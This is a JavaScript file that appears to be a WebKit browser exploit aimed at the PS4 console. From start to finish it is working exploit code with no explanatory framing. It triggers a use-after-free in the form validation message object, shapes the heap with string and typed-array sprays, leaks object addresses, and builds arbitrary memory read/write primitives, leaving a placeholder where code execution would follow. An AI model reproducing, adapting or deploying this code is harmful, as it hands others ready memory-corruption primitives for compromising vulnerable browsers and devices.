const OFFSET_ELEMENT_REFCOUNT = 0x10; const OFFSET_JSAB_VIEW_VECTOR = 0x10; const OFFSET_JSAB_VIEW_LENGTH = 0x18; const OFFSET_LENGTH_STRINGIMPL = 0x04; const OFFSET_HTMLELEMENT_REFCOUNT = 0x14; const LENGTH_ARRAYBUFFER = 0x8; const LENGTH_STRINGIMPL = 0x14; const LENGTH_JSVIEW = 0x20; const LENGTH_VALIDATION_MESSAGE = 0x30; const LENGTH_TIMER = 0x48; const LENGTH_HTMLTEXTAREA = 0xd8; const SPRAY_ELEM_SIZE = 0x6000; const SPRAY_STRINGIMPL = 0x1000; const NB_FRAMES = 0xfa0; const NB_REUSE = 0x8000; var g_arr_ab_1 = []; var g_arr_ab_2 = []; var g_arr_ab_3 = []; var g_frames = []; var g_relative_read = null; var g_relative_rw = null; var g_ab_slave = null; var g_ab_index = null; var g_timer_leak = null; var g_jsview_leak = null; var g_message_heading_leak = null; var g_message_body_leak = null; var g_obj_str = {}; var g_rows1 = '1px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "1px"; var g_rows2 = '2px,'.repeat(LENGTH_VALIDATION_MESSAGE / 8 - 2) + "2px"; var g_round = 1; var g_input = null; var guess_htmltextarea_addr = new Int64("0x2070a00d8"); /* Executed after deleteBubbleTree */ function setupRW() { /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */ for (let i = 0; i < g_arr_ab_3.length; i++) { if (g_arr_ab_3[i].length > 0xff) { g_relative_rw = g_arr_ab_3[i]; debug_log("[+] Succesfully got a relative R/W"); break; } } if (g_relative_rw === null) die("[!] Failed to setup a relative R/W primitive"); debug_log("[+] Setting up arbitrary R/W"); /* Retrieving the ArrayBuffer address using the relative read */ let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1; let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR)); /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */ let ab_index = g_jsview_leak.sub(ab_addr).low32(); if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER) g_ab_index = ab_index + LENGTH_JSVIEW; else g_ab_index = ab_index - LENGTH_JSVIEW; /* Overding the length of one JSArrayBufferView with a known value */ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41; /* Looking for the slave JSArrayBufferView */ for (let i = 0; i < g_arr_ab_3.length; i++) { if (g_arr_ab_3[i].length === 0x41) { g_ab_slave = g_arr_ab_3[i]; g_arr_ab_3 = null; break; } } if (g_ab_slave === null) die("[!] Didn't found the slave JSArrayBufferView"); /* Extending the JSArrayBufferView length */ g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff; g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff; g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff; g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff; debug_log("[+] Testing arbitrary R/W"); let saved_vtable = read64(guess_htmltextarea_addr); write64(guess_htmltextarea_addr, new Int64("0x4141414141414141")); if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141")) die("[!] Failed to setup arbitrary R/W primitive"); debug_log("[+] Succesfully got arbitrary R/W!"); /* Restore the overidden vtable pointer */ write64(guess_htmltextarea_addr, saved_vtable); /* Cleanup memory */ cleanup(); /* Getting code execution */ /* ... */ } function read(addr, length) { for (let i = 0; i < 8; i++) g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i); let arr = []; for (let i = 0; i < length; i++) arr.push(g_ab_slave[i]); return arr; } function read64(addr) { return new Int64(read(addr, 8)); } function write(addr, data) { for (let i = 0; i < 8; i++) g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_VECTOR + i] = addr.byteAt(i); for (let i = 0; i < data.length; i++) g_ab_slave[i] = data[i]; } function write64(addr, data) { write(addr, data.bytes()); } function cleanup() { select1.remove(); select1 = null; input1.remove(); input1 = null; input2.remove(); input2 = null; input3.remove(); input3 = null; div1.remove(); div1 = null; g_input = null; g_rows1 = null; g_rows2 = null; g_frames = null; } /* * Executed after buildBubbleTree * and before deleteBubbleTree */ function confuseTargetObjRound2() { if (findTargetObj() === false) die("[!] Failed to reuse target obj."); g_fake_validation_message[4] = g_jsview_leak.add(OFFSET_JSAB_VIEW_LENGTH + 5 - OFFSET_HTMLELEMENT_REFCOUNT).asDouble(); setTimeout(setupRW, 6000); } /* Executed after deleteBubbleTree */ function leakJSC() { debug_log("[+] Looking for the smashed StringImpl..."); var arr_str = Object.getOwnPropertyNames(g_obj_str); /* Looking for the smashed string */ for (let i = arr_str.length - 1; i > 0; i--) { if (arr_str[i].length > 0xff) { debug_log("[+] StringImpl corrupted successfully"); g_relative_read = arr_str[i]; g_obj_str = null; break; } } if (g_relative_read === null) die("[!] Failed to setup a relative read primitive"); debug_log("[+] Got a relative read"); let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER); /* Spraying JSView */ let tmp = []; for (let i = 0; i < 0x10000; i++) { /* The last allocated are more likely to be allocated after our relative read */ if (i >= 0xfc00) g_arr_ab_3.push(new Uint8Array(ab)); else tmp.push(new Uint8Array(ab)); } tmp = null; /* * Force JSC ref on FastMalloc Heap * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151 */ var props = []; for (var i = 0; i < 0x400; i++) { props.push({ value: 0x42424242 }); props.push({ value: g_arr_ab_3[i] }); } /* * /!\ * This part must avoid as much as possible fastMalloc allocation * to avoid re-using the targeted object * /!\ */ /* Use relative read to find our JSC obj */ /* We want a JSView that is allocated after our relative read */ while (g_jsview_leak === null) { Object.defineProperties({}, props); for (let i = 0; i < 0x800000; i++) { var v = undefined; if (g_relative_read.charCodeAt(i) === 0x42 && g_relative_read.charCodeAt(i + 0x01) === 0x42 && g_relative_read.charCodeAt(i + 0x02) === 0x42 && g_relative_read.charCodeAt(i + 0x03) === 0x42) { if (g_relative_read.charCodeAt(i + 0x08) === 0x00 && g_relative_read.charCodeAt(i + 0x0f) === 0x00 && g_relative_read.charCodeAt(i + 0x10) === 0x00 && g_relative_read.charCodeAt(i + 0x17) === 0x00 && g_relative_read.charCodeAt(i + 0x18) === 0x0e && g_relative_read.charCodeAt(i + 0x1f) === 0x00 && g_relative_read.charCodeAt(i + 0x28) === 0x00 && g_relative_read.charCodeAt(i + 0x2f) === 0x00 && g_relative_read.charCodeAt(i + 0x30) === 0x00 && g_relative_read.charCodeAt(i + 0x37) === 0x00 && g_relative_read.charCodeAt(i + 0x38) === 0x0e && g_relative_read.charCodeAt(i + 0x3f) === 0x00) v = new Int64(str2array(g_relative_read, 8, i + 0x20)); else if (g_relative_read.charCodeAt(i + 0x10) === 0x42 && g_relative_read.charCodeAt(i + 0x11) === 0x42 && g_relative_read.charCodeAt(i + 0x12) === 0x42 && g_relative_read.charCodeAt(i + 0x13) === 0x42) v = new Int64(str2array(g_relative_read, 8, i + 8)); } if (v !== undefined && v.greater(g_timer_leak) && v.sub(g_timer_leak).hi32() === 0x0) { g_jsview_leak = v; props = null; break; } } } /* * /!\ * Critical part ended-up here * /!\ */ debug_log("[+] JSArrayBufferView: " + g_jsview_leak); /* Run the exploit again */ prepareUAF(); } /* * Executed after buildBubbleTree * and before deleteBubbleTree */ function confuseTargetObjRound1() { /* Force allocation of StringImpl obj. beyond Timer address */ sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2); /* Checking for leaked data */ if (findTargetObj() === false) die("[!] Failed to reuse target obj."); dumpTargetObj(); g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble(); /* * The timeout must be > 5s because deleteBubbleTree is scheduled to run in * the next 5s */ setTimeout(leakJSC, 6000); } function handle2() { /* focus elsewhere */ input2.focus(); } function reuseTargetObj() { /* Delete ValidationMessage instance */ document.body.appendChild(g_input); /* * Free ValidationMessage neighboors. * SmallLine is freed -> SmallPage is cached */ for (let i = NB_FRAMES / 2 - 0x10; i < NB_FRAMES / 2 + 0x10; i++) g_frames[i].setAttribute("rows", ','); /* Get back target object */ for (let i = 0; i < NB_REUSE; i++) { let ab = new ArrayBuffer(LENGTH_VALIDATION_MESSAGE); let view = new Float64Array(ab); view[0] = guess_htmltextarea_addr.asDouble(); // m_element view[3] = guess_htmltextarea_addr.asDouble(); // m_bubble g_arr_ab_1.push(view); } if (g_round == 1) { /* * Spray a couple of StringImpl obj. prior to Timer allocation * This will force Timer allocation on same SmallPage as our Strings */ sprayStringImpl(0, SPRAY_STRINGIMPL); g_frames = []; g_round += 1; g_input = input3; setTimeout(confuseTargetObjRound1, 10); } else { setTimeout(confuseTargetObjRound2, 10); } } function dumpTargetObj() { debug_log("[+] m_timer: " + g_timer_leak); debug_log("[+] m_messageHeading: " + g_message_heading_leak); debug_log("[+] m_messageBody: " + g_message_body_leak); } function findTargetObj() { for (let i = 0; i < g_arr_ab_1.length; i++) { if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) { debug_log("[+] Found fake ValidationMessage"); if (g_round === 2) { g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]); g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]); g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]); g_round++; } g_fake_validation_message = g_arr_ab_1[i]; g_arr_ab_1 = []; return true; } } return false; } function prepareUAF() { g_input.setCustomValidity("ps4"); for (let i = 0; i < NB_FRAMES; i++) { var element = document.createElement("frameset"); g_frames.push(element); } g_input.reportValidity(); var div = document.createElement("div"); document.body.appendChild(div); div.appendChild(g_input); /* First half spray */ for (let i = 0; i < NB_FRAMES / 2; i++) g_frames[i].setAttribute("rows", g_rows1); /* Instantiate target obj */ g_input.reportValidity(); /* ... and the second half */ for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++) g_frames[i].setAttribute("rows", g_rows2); g_input.setAttribute("onfocus", "reuseTargetObj()"); g_input.autofocus = true; } /* HTMLElement spray */ function sprayHTMLTextArea() { debug_log("[+] Spraying HTMLTextareaElement ..."); let textarea_div_elem = document.createElement("div"); document.body.appendChild(textarea_div_elem); textarea_div_elem.id = "div1"; var element = document.createElement("textarea"); /* Add a style to avoid textarea display */ element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;'; /* * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc * allocation of the node attributes and an IsoHeap allocation of the * Element. The virtual page layout will look something like that: * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...] */ for (let i = 0; i < SPRAY_ELEM_SIZE; i++) textarea_div_elem.appendChild(element.cloneNode()); } /* StringImpl Spray */ function sprayStringImpl(start, end) { for (let i = start; i < end; i++) { let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL - 5) + i.toString().padStart(5, "0")); g_obj_str[s] = 0x1337; } } function go() { /* Init spray */ sprayHTMLTextArea(); g_input = input1; /* Shape heap layout for obj. reuse */ prepareUAF(); }